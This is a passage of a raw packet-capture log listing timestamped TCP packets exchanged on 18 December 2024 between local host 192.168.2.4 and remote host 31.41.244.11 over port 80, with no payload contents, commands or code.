Dec 18, 2024 17:08:12.062479019 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.062520981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.063411951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.063458920 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.063592911 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.063642979 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.064490080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.064572096 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.064615965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.064687014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.065567017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.065618038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.065684080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.065732002 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.066612005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.066659927 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.066726923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.066783905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.067738056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.067842007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.067892075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.068933964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.068983078 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.069171906 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.069220066 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.070059061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.070239067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.070282936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.070333958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.071091890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.071110010 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.071141958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.071171045 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.072256088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.072307110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.072350025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.072403908 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.073131084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.073179960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.073216915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.073261023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.074018955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.074075937 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.210823059 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.210928917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.210999966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.211302996 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.211370945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.211726904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.211779118 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.211831093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.212778091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.212814093 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.212841034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.213279963 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.213675022 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.213742018 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.213819981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.214016914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.214693069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.214749098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.214869976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.214977980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.215790987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.215846062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.215910912 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.216371059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.216860056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.216921091 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.217062950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.217174053 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.218020916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.218137026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.218193054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.219296932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.219364882 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.219367027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.219414949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.220284939 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.220340967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.220465899 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.220516920 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.221271992 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.221319914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.221376896 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.221421003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.222274065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.222342014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.222562075 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.222703934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.223376036 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.223440886 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.223617077 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.224051952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.224457026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.224498987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.224517107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.224564075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.225455046 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.225603104 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.225605965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.225646019 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.226653099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.226705074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.226747036 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.226773024 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.227597952 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.227751017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.227807045 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.228779078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.228832960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.228847027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.228893042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.229790926 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.229895115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.229948997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.230855942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.230897903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.230942965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.230987072 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.232034922 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.232052088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.232089996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.232114077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.232983112 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.233102083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.233175039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.233247995 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.234056950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.234112024 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.234179974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.234227896 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.235157967 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.235205889 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.235368013 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.235440016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.236208916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.236258030 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.236339092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.236380100 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.237329006 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.237416029 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.237441063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.237512112 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.238404989 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.238451958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.238451958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.238501072 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.239511013 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.239567995 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.239645958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.239690065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.240530968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.240768909 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.241043091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.241183996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.241575956 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.241770983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.241818905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.242806911 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.243098974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.243177891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.243889093 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.243913889 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.243937969 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.243963003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.245913029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.245958090 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.246077061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.246093035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.246129036 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.246716022 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.246782064 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.246942997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.247364044 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.247415066 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.248151064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.248208046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.248229027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.248292923 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.249142885 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.249206066 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.249290943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.249428034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.250329018 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.250411987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.250468969 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.251338005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.251454115 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.251485109 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.251534939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.252423048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.252559900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.252561092 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.252615929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.253468037 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.253525972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.253730059 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.253782988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.254790068 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.254856110 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.254862070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.254898071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.255629063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.255690098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.256011963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.256074905 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.256727934 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.256778955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.256822109 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.256866932 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.257824898 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.257889986 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.257893085 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.257936001 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.258950949 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.259001970 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.259078979 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.259123087 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.259888887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.260030031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.260077953 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.261003971 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.261075020 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.261265039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.261534929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.262068987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.262164116 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.262254000 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.262366056 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.263186932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.263288021 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.263454914 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.263504982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.264292955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.264347076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.264482021 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.264530897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.265604973 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.265621901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.265659094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.265683889 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.266460896 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.266524076 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.266573906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.403295040 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.403424025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.403510094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.403733969 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.403789043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.403908968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.403954983 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.404975891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.405004978 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.405045033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.405045033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.406311989 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.406328917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.406415939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.406991005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.407067060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.407108068 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.407152891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.408099890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.408209085 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.408297062 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.408343077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.409238100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.409286976 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.409323931 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.409440994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.410486937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.410541058 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.410578966 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.410638094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.411437988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.411557913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.411612988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.412625074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.412678003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.412760019 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.412816048 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.413572073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.413754940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.413774014 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.413794041 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.414974928 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.415117025 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.415246010 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.415292978 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.416305065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.416340113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.416388988 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.417252064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.417320967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.417345047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.417403936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.418417931 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.418435097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.418469906 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.418497086 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.419401884 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.419464111 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.419619083 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.419713974 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.420672894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.420730114 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.420737028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.420772076 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.421577930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.421593904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.421638012 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.422478914 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.422494888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.422539949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.422574043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.423391104 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.423456907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.423538923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.423582077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.424313068 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.424361944 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.424396038 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.424650908 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.425332069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.425384998 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.425410032 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.425462008 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.426393986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.426444054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.426543951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.426593065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.427529097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.427588940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.427673101 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.427725077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.428601980 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.428663015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.428687096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.428734064 CET	49749	80	192.168.2.4	31.41.244.11
